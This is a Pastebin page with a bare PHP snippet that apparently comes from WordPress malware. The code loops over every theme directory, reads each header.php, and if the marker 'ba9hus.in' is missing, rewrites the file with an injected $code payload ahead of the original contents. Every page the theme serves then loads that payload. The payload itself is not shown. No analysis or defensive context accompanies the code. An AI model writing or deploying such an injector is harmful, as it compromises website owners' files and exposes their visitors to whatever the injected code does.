Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if (file_exists("wp-content"))
- {
- if (file_exists("wp-content/themes"))
- {
- $dirs = scandir("wp-content/themes");
- foreach ($dirs as $dir)
- {
- if ((is_dir("wp-content/themes/$dir")) AND ($dir !== ".") AND ($dir !== ".."))
- {
- if (file_exists("wp-content/themes/$dir/header.php"))
- {
- $file = fopen("wp-content/themes/".$dir."/header.php", "r");
- $buffer = fread($file, filesize("wp-content/themes/".$dir."/header.php"));
- fclose($file);
- if (eregi('ba9hus.in', $buffer)==0)
- {
- $in = fopen("wp-content/themes/".$dir."/header.php", "w");
- fwrite($in, $code);
- fwrite($in, $buffer);
- fclose($in);
- /*
- $in = fopen("wp-content/themes/$dir/header.php", "a");
- fwrite($in, $code);
- fclose($in);
- */
- }
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement